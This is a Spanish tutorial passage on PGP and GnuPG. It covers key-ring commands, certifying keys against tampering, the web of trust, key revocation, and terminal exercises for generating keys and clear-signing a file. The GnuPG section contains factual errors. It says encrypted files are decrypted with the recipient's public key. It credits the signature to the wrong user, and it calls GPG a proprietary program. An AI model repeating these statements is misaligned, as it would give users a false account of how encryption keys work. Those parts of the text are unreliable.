Este proceso busca en el anillo el identificador indicado y lo suprime si encuentra una coincidencia. Recuerda que cualquier fragmento del identificador es suficiente para que haya una coincidencia. Se asume que “pubring.pgp” es literalmente el nombre opcional del archivo. Puedes omitirlo o indicar “secring.pgp” si quieres suprimir una clave secreta. Puedes dar también un nombre distinto para el anillo de claves. La extensión por omisión es “.pgp”.

Si hay más de un identificador de usuario para esa clave, se preguntará si sólo quieres eliminar el identificador indicado, dejando la clave y los otros identificadores intactos.

Para extraer (copiar) una clave del anillo de claves públicas o secretas:

$ pgp -kx identificador fdclaves [anillo]

Este proceso copia (sin borrar) la clave especificada por el identificador desde el anillo al archivo indicado. Resulta especialmente útil para dar una copia de tu clave pública a alguien.

Si la clave tiene alguna firma de certificación, también se copia con la clave. Si quieres que la clave extraída se represente en caracteres ASCII imprimibles, para correo-E, pon las opciones -kxa.

Visualización del Contenido del Anillo

Para ver el contenido del anillo de claves públicas:

$ pgp -kv[v] [identificador] [anillo]

Muestra la lista de las claves del anillo que coinciden con la subcadena especificada como identificador. Si omites el identificador, se mostrarán todas las claves. Se asume que “pubring.pgp” es el nombre opcional de anillo. Puedes omitirlo o indicar “secring.pgp” si quieres ver la lista de claves secretas. También puedes si lo deseas especificar otro nombre distinto para el anillo de claves. La extensión por omisión es “.pgp”. Más adelante se explica el concepto de certificar claves con firmas.

Para ver las firmas de certificación de cada clave, utiliza la opción -kvv:

$ pgp -kvv [identificador] [anillo]

Si quieres especificar un nombre de anillo, para ver todas las claves que contiene, prueba esta forma alternativa:

$ pgp fdclaves

Sin indicar ninguna opción, PGP muestra la lista de todas las claves en fdclaves.pgp e intenta añadirlas al anillo de claves si no estuviesen.

¿Como Proteger las Claves Publicas contra Manipulación?

En un sistema de clave pública no hay que proteger las claves públicas contra exposición. De hecho, es mejor que estén ampliamente difundidas. Sin embargo, es importante protegerlas contra manipulación para

asegurar que una clave pertenece realmente a quien parece pertenecer. Este quizá sea el punto más vulnerable de un criptosistema de clave pública. Veamos primero un posible desastre y a continuación la manera de evitarlo con PGP.

Supongamos que quieres enviar a Antonio un mensaje privado. Recibes la clave pública de Antonio desde una colocación pública en el portal de la Fundación. Encripta la carta para Antonio con esa clave y se la envía por medio del E-mail de la Fundación.

Desafortunadamente, sin saberlo Antonio ni usted, otro usuario llamado José Paredes se ha infiltrado en la lista de la Fundación y ha generado una clave pública propia que lleva el identificador de usuario de Antonio. Pone secretamente esa clave falsa en lugar de la verdadera. Usted, sin saberlo, utilizas esa clave en lugar de la auténtica. Todo parece normal porque la clave falsa tiene el identificador de usuario de Antonio. Ahora José Paredes puede descifrar el mensaje dirigido a Antonio, ya que tiene la clave secreta correspondiente. Puede incluso volver a encriptar el mensaje con la verdadera clave pública de Antonio y enviárselo a ella para que nadie sospeche nada. Aún peor, puede incluso hacer firmas en nombre de Antonio con esa clave secreta, porque todo el mundo utiliza la clave pública falsa para comprobar las firmas de Antonio.

La única forma de evitar este desastre es impedir que alguien pueda manipular las claves públicas. Si has obtenido la clave pública de Antonio, no hay problema. Sin embargo, esto puede resultar difícil si la persona se encuentra a mil kilómetros, o no es localizable en ese momento.

Podrías conseguir la clave pública de Antonio de un amigo en el que confíen los dos, digamos Elvyn Bolges, que sabe que su copia de la clave pública de Antonio es buena. Elvyn podría firmar la clave pública de Antonio, respondiendo de la integridad de la clave. Elvyn realizaría esta firma con su propia clave secreta.

Así se crearía un certificado firmado de clave pública que demostraría que la clave de Antonio no ha sido manipulada. Este mecanismo requiere que su copia de la clave pública de Elvyn si sea buena, para poder comprobar la firma. Elvyn podría también proporcionar a Antonio una copia firmada de su clave pública. Por tanto, Elvyn hace de referencia entre Antonio y usted.

Elvyn o Antonio podrían enviar a la lista de correo de la Fundación ese certificado firmado de clave pública de parte de Antonio y usted podrías recibirlo más adelante. Entonces podrías comprobar la firma con la clave pública de Elvyn y asegurarse de que es la verdadera clave de Antonio. Ningún impostor podría hacer que aceptases una clave falsa como si fuera de Antonio, porque nadie puede falsificar la firma de Elvyn.

Una persona de amplia confianza podría incluso especializarse en ofrecer este servicio de “referencia” entre usuarios, proporcionando firmas para esos certificados de clave pública. Esta persona de confianza podría considerarse un “servidor de claves” o “autoridad de certificación”. Podría confiarse en que cualquier certificado de clave pública con la firma del servidor pertenecería verdaderamente a quien parecía pertenecer. Los usuarios que quisieran participar sólo necesitarían una copia buena de la clave pública del organizador para poder verificar sus firmas.

Un servidor centralizado de claves o autoridad de certificación está especialmente indicado en grandes instituciones gubernativas o empresariales con control centralizado. Algunos entornos institucionales ya utilizan jerarquías de autoridades de certificación.

Para entornos de base descentralizados, estilo “guerrilla”, permitir a cualquier usuario actuar como referencia de confianza de sus amigos probablemente funcionará mejor que un servidor centralizado. PGP tiende a enfatizar este enfoque orgánico descentralizado no institucional. Refleja mejor la forma natural que

tienen los humanos de interactuar personalmente a nivel social y permite elegir mejor en quién confiar para la gestión de claves.

Este tema de proteger las claves públicas contra manipulación es el problema individual más difícil con que se encuentra la aplicación práctica de la clave pública. Es el “talón de Aquiles” de la criptografía de clave pública; solamente en resolver este problema hay invertida una gran complejidad de programación.

Sólo deberías utilizar una clave pública después de comprobar que es una clave auténtica no manipulada y que pertenece a la persona a la que dice pertenecer. Puedes estar seguro de ello si obtienes el certificado de clave pública directamente de su propietario, o si lleva la firma de alguien en quien confías y del que ya tienes una clave pública auténtica. Por otra parte, el identificador de usuario debería llevar el nombre completo del propietario, no sólo su nombre de pila.

Por mucho que tengas la tentación-- y la tendrá--, nunca, NUNCA ceda a la comodidad y te fíes de una clave pública que hayas recibido desde un portal o fuente publica como salas de chat, redes sociales, etc, a menos que vaya firmada por alguien en quien confías. Esa clave pública sin certificar puede haber sido manipulada por cualquiera, quizá incluso el mismo administrador de la fuente.

Si te piden que firmes el certificado de la clave pública de alguien, comprueba que realmente pertenece a la persona indicada en el identificador de usuario. Tu firma en ese certificado de clave pública es tu promesa de que la clave pertenece realmente a esa persona. La gente que confía en ti aceptará esa clave pública porque lleva su firma. No es recomendable hacerlo de corazonada-- no firmes la clave a menos que tengas conocimiento independiente y de primera mano de que realmente pertenece a esa persona. Preferiblemente, debería firmarla sólo si la has recibido directamente de la persona.

Debes estar mucho más seguro sobre quién es el propietario de una clave pública para firmarla que para encriptar un mensaje. Para estar suficientemente convencido de la validez de una firma como para utilizarla, deberían bastar las firmas de certificación de las referencias de confianza. En cambio, para firmar una clave usted mismo debe tener conocimiento independiente y de primera mano de quién es el propietario de esa clave. Podrías llamarle por teléfono y leerle el archivo de claves, para que confirme que es verdaderamente la suya--comprueba que estás hablando con la persona indicada. Consulta la sección llamada “Verificación de una clave pública por teléfono” en el volumen de Temas especiales para obtener más información.

Ten en cuenta que la firma en un certificado de clave pública no responde de la integridad de esa persona, solamente de la integridad (la pertenencia) de la clave pública de esa persona. No arriesgas tu propia credibilidad al firmar la clave pública de un sociópata, siempre que estés completamente seguro de que la clave le pertenece. Otras personas aceptarán que le pertenece porque usted la ha firmado (asumiendo que confíen en usted), pero no se fiarán del propietario de esa clave. Confiar en una clave no es lo mismo que confiar en su propietario.

La confianza no es necesariamente transferible; tengo un amigo del que sé que no miente. Es un crédulo que cree que el presidente no miente. Eso no quiere decir que yo crea que el presidente no miente. Es sólo cuestión de sentido común. Si me fío de la firma de Antonio en una clave, y Antonio se fía de la firma de José Paredes, eso no implica que yo me tenga que fiar de la firma de José Paredes.

Resulta conveniente mantener su propia clave pública a mano con una colección de firmas de certificación de diversas “referencias”, para que la mayoría de la gente confíe al menos en una de las que responden de la validez de su clave. Puedes enviar la clave con su colección de firmas de certificación a varias fuentes publicas.

Si firma la clave pública de alguien, devuélvala con la firma para que pueda añadirla a su colección de credenciales.

PGP controla qué claves del anillo de claves públicas han sido certificadas adecuadamente con firmas de referencias en las que confías. Todo lo que tienes que hacer es decir a PGP en qué personas confías como referencia y certificar esas claves con la suya propia, que es fundamentalmente fiable. PGP puede continuar desde ahí, validando cualquier clave firmada por esas referencias designadas. Aparte, por supuesto, pueda firmar más claves usted mismo. Seguiremos con esto más adelante.

Asegúrese de que nadie pueda manipular su anillo de claves públicas. La comprobación de cualquier nueva firma de clave pública depende en última instancia de la integridad de las claves de confianza que ya se encuentran en el anillo de claves. Mantén control físico sobre el anillo de claves públicas, preferiblemente en tu propio computador personal en lugar de un sistema remoto multiusuario, tal como lo haría con su clave secreta. El objetivo es protegerlo contra manipulación, no contra exposición. Conserve una copia de seguridad fiable de los anillos de claves públicas y secretas en un medio protegido contra escritura.

Como su propia clave es la máxima autoridad para certificar directa o indirectamente las claves de su anillo, es la que más tienes que proteger contra manipulación. Para detectar cualquier manipulación de su propia clave pública, fundamentalmente fiable, PGP puede configurarse para que la compare automáticamente con una copia de seguridad en un medio protegido contra escritura. Para obtener más información, consulta la descripción de la orden “-kc” de comprobación de anillos en el volumen sobre Temas especiales.

PGP generalmente asume que vas a mantener seguridad física sobre el sistema, los anillos de claves y la copia misma de PGP. Si un intruso pudiese manipular su disco, podría en teoría manipular el mismo PGP dejando en entredicho cualquier sistema de seguridad que pueda tener para detectar la manipulación de claves.

Una forma algo complicada de proteger el anillo completo de claves públicas contra manipulación es firmarlo con su propia clave secreta. Puede hacerlo elaborando un certificado separado de firma para el archivo con las opciones “-sb” (consulta la sección “Separación de firmas de los mensajes” en la Guía del usuario de PGP, volumen de Temas especiales). Desafortunadamente, sigue siendo necesario mantener una copia aparte de su propia clave pública, para comprobar la firma que ha realizado. No puede fiarse de la clave almacenada en el anillo de claves públicas, ya que es precisamente parte de lo que intentas comprobar.

¿Cómo Controla PGP la Validez de las Claves?

PGP lleva el control de las claves del anillo de claves públicas que han sido certificadas adecuadamente con firmas de referencias de confianza. Todo lo que tienes que hacer usted es decir a PGP en qué personas confías como referencia, y certificar esas claves con la tuya propia, que es fundamentalmente fiable. PGP puede continuar desde ahí, validando cualquier otra clave firmada por esas referencias elegidas. Por supuesto, usted mismo puedes firmar más claves.

Hay dos criterios completamente distintos por los que PGP juzga la utilidad de una clave pública-- no los confundas:

1. ¿Pertenece la clave realmente a quien parece pertenecer? En otras palabras, ¿ha sido certificada con una firma de confianza?
2. ¿Pertenece a alguien en quien podemos confiar para certificar otras claves?

PGP puede calcular la respuesta a la primera pregunta. Para responder a la segunda, usted, el usuario, debe informar a PGP explícitamente. Cuando se da la respuesta a la pregunta 2, PGP puede calcular la respuesta a la pregunta 1 para otras claves que hayan sido firmadas por esa referencia designada como fiable.

Las claves que han sido certificadas por una referencia de confianza ya se consideran válidas en PGP. Las claves de esas referencias deben estar certificadas por usted u otra referencia de confianza.

PGP también permite tener distintos márgenes de confianza para las personas que van a actuar como referencia. La confianza en el propietario de una clave para servir de referencia no refleja simplemente la estimación de su integridad personal-- también debería reflejar cuál cree que es su nivel de conocimiento respecto a la gestión de claves, y de su buen juicio en la firma de estas. Puede designar una persona en PGP como desconocida, no fiable, de relativa confianza, o de completa confianza para certificar otras claves públicas. Esta información se almacena en el anillo junto con la clave de esa persona, pero no se incluye con ella, al indica a PGP que copie una clave, ya que esas opiniones privadas sobre confianza se consideran confidenciales.

Cuando PGP está calculando la validez de una clave pública, examina el nivel de confianza de todas las firmas incluidas. Elabora una puntuación proporcional de validez-- dos firmas relativamente fiables se consideran tan creíbles como una completamente fiable. El escepticismo de PGP es ajustable-- por ejemplo, puede establecerse que hagan falta dos firmas completamente fiables, o tres relativamente fiables, para dar una clave por válida.

Su propia clave es “axiomáticamente” válida para PGP y no necesita ninguna firma de referencia para probar su validez. PGP sabe qué claves públicas son tuyas buscando las claves secretas correspondientes en el otro anillo. PGP también asume que confías completamente en ti mismo para certificar otras claves.

Según pase el tiempo, irás acumulando claves de otras personas, a las que podrás designar como referencias de confianza. Cada uno irá eligiendo sus propias referencias. Y cada uno irá gradualmente acumulando y distribuyendo con su clave una colección de firmas de certificación, con la esperanza de que cualquiera que la reciba confíe al menos en una o dos de ellas. Se producirá de esa forma la aparición de una red descentralizada de confianza para las claves públicas, resistente a fallos.

Este enfoque de base, único, contrasta claramente con los esquemas habituales del Gobierno para gestionar claves públicas, como el Internet Privacy Enhanced Mail (PEM) {Correo de Internet Mejorada su Privacidad}, que se fundamentan en un control centralizado y una confianza centralizada y obligatoria. Los esquemas habituales confían en una jerarquía de Autoridades de certificación que dictan en quién debe usted confiar. El método probabilístico y descentralizado de PGP para determinar la legitimidad de las claves públicas es la piedra angular de su arquitectura de gestión de claves. PGP le permite que elija usted mismo en quién confiar, y le pone en el vértice de su propia pirámide personal de certificación. PGP es para personas que prefieren preparar sus propios paracaídas.

¿Como Proteger las Claves Secretas contra ser Reveladas?

Proteja con mucho cuidado su propia clave y su contraseña. Si su clave secreta se ve alguna vez comprometida, es mejor que corra la voz rápidamente y se lo diga a todas las partes interesadas (no siempre es una tarea fácil...) antes de que alguien la utilice para hacer firmas en su nombre. Por ejemplo de una cosa que ese alguien puede hacer es que podría firmar certificados falsos de clave pública, lo que podría causar problemas a muchas personas, especialmente si su firma tiene amplio reconocimiento y fé pública. Por supuesto, el compromiso de su propia clave secreta podría poner al descubierto todos los mensajes dirigidos a usted.

Para proteger su clave secreta, puede empezar por mantener siempre control físico sobre ella. Es suficiente con tenerla en el computador personal en casa, o en un portátil que pueda llevar consigo. Si tienes que utilizar

un computador de la oficina, que no siempre controlas físicamente, lleva sus anillos de claves públicas y secretas en un disco extraíble, y nunca lo deje fuera de su control. No es conveniente permitir que la clave secreta se encuentre en un computador remoto compartido por otros usuarios, como por ejemplo un sistema muy seguro ejecutando UNiX pero con acceso telefónico a muchos usuarios que usted no administra.

Alguien podría conectarse a través de la línea del módem y conseguir la contraseña de cualquier usuario, y más adelante conseguir la clave secreta del ROOT del sistema. Por esto es que sólo debería utilizar la clave secreta en una máquina sobre la que usted tiene control físico.

No guardes su contraseña en el mismo computador que tiene el anillo de claves secretas. Guardar la clave secreta y la contraseña en el mismo computador es tan peligroso como guardar tu número secreto en la misma cartera que la tarjeta del cajero automático. No quieres que nadie ponga sus manos en el disco que contiene la contraseña y el anillo de claves secretas. Sería más seguro que memorizases la contraseña y que no la guardases en ningún sitio más que en tu cerebro. Si crees que debes escribirla, protéjala, quizá incluso mejor que el anillo de claves secretas.

Conserva copias de seguridad del anillo de claves secretas-- recuerda, tú tienes la única copia de tu clave secreta y perderla inutilizaría todas las copias de tu clave pública que haya por el mundo. El enfoque descentralizado y no institucional que utiliza PGP para gestionar las claves públicas tiene sus ventajas pero, desafortunadamente, también implica que no se pueda confiar en una lista única de las claves comprometidas. Por lo tanto, resulta más difícil controlar el daño que puede causar el compromiso de una clave. Sólo puedes divulgar la noticia y confiar en que todo el mundo se entere.

Si ocurre lo peor, y se entera que tanto su clave secreta como la su contraseña están comprometidas , tendrá que emitir un certificado de “compromiso de clave”. Este tipo de certificado se utiliza para advertir a los demás de que dejen de utilizar su clave pública. Puede hacer que PGP elabore ese certificado mediante la orden “-kd”. Después tiene que enviarlo al resto de los habitantes del planeta, o al menos a todos sus amigos, a los amigos de sus amigos, etcétera. Sus propios programas PGP instalarán ese certificado de compromiso en sus anillos de claves públicas y evitará que utilicen la clave por error. Puedes entonces generar un nuevo par de claves secreta/pública y distribuir la nueva clave pública. Puedes enviar en un solo lote la nueva clave con el certificado de compromiso de la antigua.

Revocación de una Clave pública

Supongamos que, por algún motivo, tanto su clave secreta como su contraseña se ven comprometidas. Tendrá que decírselo al resto del mundo para que dejen de utilizar su clave pública. Para ello, tienes que emitir un certificado de “compromiso de clave” y revocar la clave pública. Para generar ese certificado, utiliza la orden con la opción “-kd”: **$ pgp -kd su_identificador**

Este certificado lleva su firma, realizada con la misma clave que estás revocando. Deberías distribuirlo ampliamente cuanto antes. Las personas que lo reciban podrán añadirlo a sus anillos de claves públicas y sus programas PGP evitarán automáticamente que vuelvan a utilizar la clave antigua por error. Puede generar un nuevo par de claves secreta/pública, y publicar la nueva clave pública. Si por algún otro motivo cual sea desea revocar su clave se emplea el mismo mecanismo, no solo por claves comprometidas.

¿Qué pasa si Pierdes la Clave Secreta?

Normalmente, si quiere revocar la clave secreta puedes utilizar la orden “-kd” para emitir un certificado de revocación, firmado con su propia Clave Secreta (véase tema anterior "Revocación de una Clave Pública").

Pero ¿qué puede hacer si pierde la clave o si se destruye? No puede revocarla usted mismo porque deberá utilizar la clave secreta para hacerlo, y ya no la tiene. En versiones anteriores de PGP no podía hacer nada que correr la voz por los medios informales que pueda, pidiendo a los usuarios que "desactiven" la clave pública en sus anillos, ahora se ofrece una forma más segura de revocar clave bajo esas circunstancias, permitiendo que referencias de confianza certifiquen que una clave pública ha sido revocada.

Otros usuarios pueden desactivar la clave pública en sus propios anillos con la orden “-kd”. Si se indica un identificador que no corresponde a una clave secreta del anillo correspondiente, la orden -kd lo busca en el anillo de claves públicas y marca esa clave como desactivada. Una clave desactivada no puede utilizarse para encriptar mensajes, ni se puede extraer del anillo con la orden “-kx”. Puede utilizarse para comprobar firmas, pero se muestra una advertencia. Además, si el usuario intenta añadir otra vez la misma clave al anillo, no podrá, ya que la clave desactivada ya se encuentra en él. Estas características combinadas ayudarán a atajar la difusión de una clave desactivada. Si la clave pública indicada ya está desactivada, la orden -kd le preguntará si quiere volver a activarla.

Guardián GNU de Privacidad - GNU Privacy Guard (GPG)

PGP ha sido el programa dominante para software de encriptación/autenticación. Sin embargo, nuestro estándar es el OpenPGP o mejor conocido la GPG y ha comenzado a permitir otras aplicaciones para proveer una clave publica segura de software GPL.

¿Que es GnuPG?

El GNU Privacy Guard (GnuPG o GPG) es una aplicación que usa un esquema de encriptación de clave publica para encriptar y desencriptar así como los archivos de autentificación que son transferidos a través de la red. El esquema de clave publica funciona en la siguiente manera: un usuario tiene dos claves, una privada y una publica. La clave publica puede ser usada por cualquiera que tenga acceso al dato encriptado que es pensado para el propietario de la clave. La clave privada esta sostenida y conocida solo por el propietario, que usa su clave privada para desencriptar el dato que fue encriptado con la clave publica.

Esto permite a los usuarios enviar información a través de la red firmado con una clave publica y solo el propietario de la clave estará en posición de leer los datos. La clave publica no puede desencriptar los datos firmados con una clave publica o privada, así asegurando que solo el sustentante de la clave privada estará en disposición de leer cualquier dato encriptado.

Instalación de GPG

GPG puede ser obtenido en su formato de códigos fuentes para poder ser configurado, compilado y luego instalado desde la Web oficial de GPG en http://www.gnupg.org. Este sitio da los detalles y como instalar GPG, cuales archivos descargar y proveer escrito howtos y FAQ que tratan de el proceso de instalación desde fuente. En distros con paquetes como los DEBs de Debian y Ubuntu o los RPMs de RedHat, Fedora o CentOS, es simplemente: **#apt-get install gpg** – si es Debian y **#yum install gpg** – si es Fedora, CentOS

Después de que GPG esta descargado e instalado en el sistema, los usuarios pueden empezar a crear sus pares de claves públicas/privadas. Al ejecutar **$gpg - -gen-key** se creará un directorio ~/.gnupg en su directorio home del usuario ejecutando el comando.

Después de que las dos claves están creadas, el propietario puede empezar a distribuir la clave pública a otros usuarios para enviar los datos ya encriptados. Una clave pública puede ser fijada en un servidor de claves o distribuidos por email, FTP, etc. Para distribuir una clave publica a un servidor de clave, use la siguiente sintaxis del comando: **$ gpg - -keyserver [dirección_servidor] - -send-key [ID_de_usuario]**

Esto enviará la clave publica desde el anillo de clave publica que encaje el ID del usuario con el keyserver especificado. Por ejemplo, el usuario “aod” emitirá el siguiente comando para cargar su clave al keyserver codigolibre.keyserver.net: **$ gpg - -keyserver codigolibre.keyserver.net - -send aod**

Una vez cargado al keyserver, la clave publica de un usuario puede ser descargada para el uso de cualquier otro usuario.

Usando GnuPG

Supongamos que los dos usuarios GPG “aod” y “knibalism” desean intercambiar un archivo encriptado. El usuario aod utilizará la clave creada recientemente. El usuario knibalism estará en posición de encriptar datos dirigidos para aod usando la clave publica de aod que obtuvo de una forma u otra ya mencionada. Ejemplos son que knibalism puede descargar la clave publica de aod desde el keyserver, o aod puede enviarle directa o E-mail su la clave publica dentro de un archivo. Ahora para exportar una clave publica perteneciente al ID de usuario aod al archivo key.asc, este comando es usado:

$ gpg -- export - -output key.asc aod

key.asc es el nombre del archivo en el que la clave será exportada y aod es el ID del usuario por el cual la clave fue creada. Esto creará el archivo key.asc, el cual puede ser enviado a través de un FTP o email al usuario knibalism. Una vez knibalism tiene el archivo, el puede extraer el contenido del anillo de su clave publica con el siguiente comando:

$ gpg - -import key.asc

Esto agregará la clave de aod al anillo de la clave publica de knibalism y ahora knibalism puede encriptar datos y enviarlos a aod. Por supuesto, aod también necesitará obtener la clave publica de knibalism para desencriptar los mensajes enviados por knibalism o para encriptar mensajes para enviárselos a knibalism.

Para que knibalism encripte un archivo específico para aod, knibalism debe de ejecutar el siguiente comando:

$ gpg -se -r aod archivo_a_encriptar

Aquí, el archivo_a_encriptar esta siendo encriptado para aod. La opción -s le instruye a GPG que firme el archivo con el ID de usuario del originador, en este caso, aod. La opción -e le instruye al programa que encripte el archivo. La opción -r toma argumento aod para especificar como recipiente a aod. Después de escribir este comando, knibalism tendrá que autentificarse entrando se frase de acceso. Solo luego GPG ejecuta el comando. Esto creara un archivo llamado archivo_a_encriptar.gpg, el cual solo puede ser desencriptado con la clave publica de aod.

Una vez aod ha obtenido el archivo_a_encriptar.gpg, el debe desencriptarlo con su clave publica para poder leerlo. Esto es realizado por el siguiente comando:

$ gpg archivo_a_encriptar.gpg

Después a aod se le preguntara por su frase de acceso, después de esto, GPG creará un nuevo archivo llamado archivo_a_encriptar, el cual sera desencriptará una copia del archivo original que knibalism pensó para aod. Este en un de los muchos ejemplos del uso de GPG. Otro uso es encriptando emails para usuarios especificás. GnuPG es una reemplazo fuerte del programa propietario GPG, permitiendole a los usuarios intercambiar datos en una manera segura y confiable.

GUI para GPG

Existen muchos programas de Interfaces Gráficas de Usuario (GUI) que provee GTK+ para GPG. Gnome PGP (gpgp) es un marco que provee administración de claves, y TkPGP es un marco creado en TCL/TK que provee algunas opciones para encriptar y desencriptar archivos.

Ejercicio 2-2: Generar un Par de Claves Usando GPG

En este ejercicio usted implementara una criptografía de clave publica usando el programa GNU Privacy Guard (GPG). No hay solución provista para este ejercicio.

1. Verifique que GPG esta instalado en su sistema:

[antonio@localhost ~]$ which gpg /usr/bin/gpg	**[root@localhost ~]# rpm -q gnupg** **gnupg-1.4.11-2.fc13.i686**

2. Instale GPG usando yum install:

#yum install gpg

3. Una vez usted haya verificado la instalación de GPG, cámbiese de nuevo a su usuario regular y usted necesitará generar un par de claves:

[antonio@localhost ~]$ gpg --gen-key

gpg (GnuPG) 1.4.11; Copyright (C) 2010 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Please select what kind of key you want:
(1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only)

4. Entre "1", luego presione ENTER

Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)

5. Seleccione 2048 bits como el tamaño de la clave.

Requested keysize is 2048 bits
Please specify how long the key should be valid.

6. Presione ENTER para configurar la clave así esta nunca expirara.

0 = key does not expire <n> = key expires in n days <n>w = key expires in n weeks <n>m = key expires in n months <n>y = key expir in n years
Key is valid for? (0) 0
Key does not expire at all

7. Confirme su decision entrando "Y" y presionando ENTER.

Is this correct? (y/N) y
You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

8. Entre su nombre real, su dirección de email y un comentario.

Real name: Antonio Perpinan
Email address: aperpinan@codigolibre.org
Comment: Presidente Fundacion Codigo Libre
You selected this USER-ID: "Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>"

9. Deberá confirmar todo lo anterior escribiendo O y enter.

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

10. Ahora, entre su frase de acceso. Usted tendra que confirmar la frase de acceso.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

11. El programa GPG luego generará un nueva par de claves. Mientra lo hace, escriba en el teclado y mueva el mouse así el computador recibe algunas informaciones que necesita para poder generar un par de claves fuertes.

...+++++
+++++
gpg: key A9F1CFD5 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model

```
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
pub   2048R/A9F1CFD5 2011-01-27
      Key fingerprint = 047D 46F0 60AC 2B5C 1678  E541 5E1F A25C A9F1 CFD5
uid                  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
sub   2048R/0C918215 2011-01-27
```

11. Después de un tiempo, el programa GPG finalizará. Confirme que GPG le ha creado una clave privada escribiendo el siguiente comando:

```
[antonio@localhost ~]$ gpg --list-secret-keys
/home/antonio/.gnupg/secring.gpg
--------------------------------
sec   2048R/6408E711 2011-01-25
uid                  Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>
ssb   2048R/9A449710 2011-01-25

sec   2048R/A9F1CFD5 2011-01-27
uid                  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
ssb   2048R/0C918215 2011-01-27
```

12. Ahora verifique que usted tiene una clave publica

```
[antonio@localhost ~]$ gpg --list-keys
/home/antonio/.gnupg/pubring.gpg
--------------------------------
pub   4096R/8FCFF4DA 2009-03-21
uid                  RPM Fusion free repository for Fedora (11) <rpmfusion-buildsys@lists.rpmfusion.org>

pub   4096R/16CA1A56 2009-05-17
uid                  RPM Fusion free repository for Fedora (12) <rpmfusion-buildsys@lists.rpmfusion.org>

pub   2048R/6408E711 2011-01-25
uid                  Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>
sub   2048R/9A449710 2011-01-25

pub   2048R/A9F1CFD5 2011-01-27
uid                  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
sub   2048R/0C918215 2011-01-27
```

13. Verifique que usted ha firmado su clave:

```
[antonio@localhost ~]$ gpg --list-sigs
/home/antonio/.gnupg/pubring.gpg
--------------------------------
pub   4096R/8FCFF4DA 2009-03-21
uid                  RPM Fusion free repository for Fedora (11) <rpmfusion-buildsys@lists.rpmfusion.org>
sig 3       8FCFF4DA 2009-03-21  RPM Fusion free repository for Fedora (11) <rpmfusion-buildsys@lists.rpmfusion.org>

pub   4096R/16CA1A56 2009-05-17
uid                  RPM Fusion free repository for Fedora (12) <rpmfusion-buildsys@lists.rpmfusion.org>
sig 3       16CA1A56 2009-05-17  RPM Fusion free repository for Fedora (12) <rpmfusion-buildsys@lists.rpmfusion.org>

pub   2048R/6408E711 2011-01-25
uid                  Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>
sig 3       6408E711 2011-01-25  Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>
sub   2048R/9A449710 2011-01-25
sig         6408E711 2011-01-25  Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>

pub   2048R/A9F1CFD5 2011-01-27
uid                  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
sig 3       A9F1CFD5 2011-01-27  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
sub   2048R/0C918215 2011-01-27
sig         A9F1CFD5 2011-01-27  Antonio Perpinan (Presidente Fundacion Codigo Libre) <aperpinan@codigolibre.org>
```

14. Ya usted esta listo para utilizar y empezar a transaccionar claves publicas

Ejercicio 2-3: Crear un Archivo de Firma

En este ejercicio, usted creara un archivo de firma, luego lo transferirá desde el sistema A al sistema B. No se proveen soluciones para este ejercicio.

1. Use touch para crear un archivo. Nombrelo systemA.

```
[antonio@localhost PRACTICAS]$ touch systemA
```

2. Cree un texto claro para archivo de firma. Entre el siguiente comando:

```
[antonio@localhost PRACTICAS]$ gpg --clearsign systemA
You need a passphrase to unlock the secret key for
user: "Antonio Perpinan (Fundacion Codigo Libre Dominicano) <aperpinan@codigolibre.org>"
2048-bit RSA key, ID 6408E711, created 2011-01-25
```

3. Entre su frase de acceso. (en el caso nuestro es solucion)

4. Si su archivo original es systemA, GPG generará un nuevo archivo de texto llamado systemA.asc. Use ls para verificar y cat para leer este archivo:

```
[antonio@localhost PRACTICAS]$ ls
systemA  systemA.asc
[antonio@localhost PRACTICAS]$ cat systemA.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
iQEcBAEBAgAGBQJNQXqjAAoJEN575upkCOcR6RUH/0vL4B2p3VLDpBiIlzhp0INZ
QISmg4CVlAbKLpeCVt0y4SmUEiyyg8NW8VyPG6yAirR2dxhx6U+qq6SudgbxsdYZ
G7hv2njWTcS0QE09o0wzhBzwWEp61fWYFnJELSUBX2W5FR0J3ilBQdWRM85Z/GD3
uUN6qR6bvV3nMS/O3mTlWhkAwyy5zLPQPLnW+4ByClFpBIPu+uuhqRCNDoH+Ums4
6gBxryj1yg6PTzD5eU1qLr+JdcXMCYgzv4w8s2ewa3Kn7R96pGb+VwJ0J/yCtNUD
3NSMEL4Fo9W/OkKJ7sbJa6Ow9pDEuTBvt11cN7YyoyTW7TXqLz6ciuxS9VuX/8Q=
=OKnm
-----END PGP SIGNATURE-----
```

5. Copie este archivo de extensión .asc (systemA.asc) a su memoria USB y llévelo a su otro computador tenga llamado para la practica sistema B.

6. Ahora repita los pasos para el computador B. Usted puede usar estos archivos para verificar documentos firmados por su sistema B o sistema A.

Ejercicio 2-3: Firma de Archivos con GPG

